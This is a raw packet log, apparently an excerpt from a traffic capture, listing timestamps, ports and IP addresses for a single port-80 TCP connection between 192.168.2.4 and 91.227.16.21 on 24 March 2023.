Mar 24, 2023 01:27:10.058454990 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.058511972 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.058571100 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.058598042 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.058598042 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.058649063 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.058710098 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.058741093 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.058800936 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.058902025 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.058903933 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.058962107 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.059016943 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.059026003 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.059073925 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.059129000 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.059148073 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.059148073 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.059185028 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.059222937 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.059238911 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.059298038 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.059359074 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.059390068 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.059444904 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.059449911 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.059508085 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.059565067 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.059621096 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.059691906 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.059710979 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.059710979 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.059758902 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.059796095 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.059814930 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.059873104 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.059945107 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.060031891 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.060044050 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.060087919 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.060148001 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.060170889 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.060204029 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.060245991 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.060261011 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.060317993 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.060345888 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.060379028 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.060439110 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.060484886 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.060516119 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.060583115 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.060648918 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.060703993 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.060761929 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.060820103 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.060820103 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.060820103 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.060837984 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.060895920 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.060952902 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.061007023 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.061067104 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.061067104 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.061105013 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.061161995 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.061217070 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.061273098 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.061327934 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.061381102 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.061381102 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.061388969 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.061466932 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.061525106 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.061574936 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.061574936 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.061597109 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.061665058 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.061722040 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.061779976 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.061836004 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.061888933 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.061888933 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.061912060 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.061970949 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.062025070 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.062079906 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.062177896 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.062235117 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.062239885 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.062239885 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.062239885 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.062294006 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.062371969 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.062448978 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.062452078 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.062509060 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.062563896 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.062598944 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.062621117 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.062638044 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.062714100 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.062783957 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.062840939 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.062871933 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.062901974 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.062916994 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.062971115 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.063043118 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.063069105 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.063102961 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.063159943 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.063193083 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.063265085 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.063327074 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.063462019 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.118988991 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.119091034 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.119163036 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.119231939 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.119273901 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.119273901 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.119302034 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.119373083 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.119442940 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.119472027 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.119512081 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.119540930 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.119580984 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.119713068 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.119786024 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.119828939 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.119854927 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.119924068 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.119993925 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.120034933 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.120034933 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.120063066 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.120126963 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.120131969 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.120202065 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.120271921 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.120338917 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.120341063 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.120414972 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.120455027 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.120486975 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.120568991 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.120636940 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.120698929 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.120699883 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.120704889 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.120826960 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.120896101 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.120898008 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.120968103 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.121037006 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.121104956 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.121114969 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.121176004 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.121215105 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.121244907 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.121314049 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.121330023 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.121392012 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.121464014 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.121531963 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.121599913 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.121669054 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.121737957 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.121737957 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.121737957 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.121737957 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.121807098 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.121922970 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.121983051 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.121992111 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.122061014 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.122128010 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.122191906 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.122191906 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.122195959 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.122266054 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.122333050 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.122400999 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.122427940 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.122468948 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.122482061 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.122539043 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.122606993 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.122654915 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.122673988 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.122740030 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.122761011 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.122831106 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.122899055 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.122991085 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.123018980 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.123087883 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.123096943 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.123163939 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.123234034 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.123302937 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.123321056 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.123373032 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.123400927 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.123444080 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.123511076 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.123578072 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.123641014 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.123641014 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.123646021 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.123717070 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.123785973 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.123802900 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.123862028 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.123929977 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.123997927 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.124061108 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.124061108 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.124114037 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.124183893 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.124254942 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.124269962 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.124324083 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.124391079 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.124418020 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.124444962 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.124497890 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.124550104 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.124602079 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.124619007 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.124619007 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.124656916 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.124712944 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.124756098 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.124766111 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.124820948 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.124872923 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.124927044 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.124979973 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.125031948 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.125034094 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.125035048 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.125035048 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.125086069 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.125176907 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.125231028 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.125283957 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.125339031 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.125386000 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.125386000 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.125386000 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.125395060 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.125449896 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.125503063 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.125555992 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.125608921 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.125655890 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.125655890 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.125663042 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.125718117 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.125771046 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.125823021 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.125828981 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.125828981 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.125878096 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.125931025 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.125983000 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.126035929 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.126090050 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.126142979 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.126142979 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.126142979 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.126142979 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.126235008 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.126288891 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.126342058 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.126394987 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.126420021 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.126420021 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.126447916 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.126502037 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.126554966 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.126599073 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.126599073 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.126605988 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.126660109 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.126739979 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.126785994 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.126795053 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.126842022 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.126848936 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.126909018 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.126962900 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.127104044 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.169639111 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.182476997 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.182571888 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.182643890 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.182646036 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.182719946 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.182734013 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.182806015 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.182873011 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.182897091 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.182944059 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.183012009 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.183056116 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.183080912 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.183149099 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.183216095 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.183226109 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.183284998 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.183345079 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.183351040 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.183423042 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.183492899 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.183533907 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.183614969 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.183684111 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.183743954 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.183744907 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.183796883 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.183866978 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.183933973 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.184004068 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.184000969 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.184072018 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.184103966 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.184142113 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.184211016 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.184220076 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.184279919 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.184356928 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.184408903 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.184432030 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.184501886 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.184612989 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.184683084 CET	80	49726	91.227.16.21	192.168.2.4
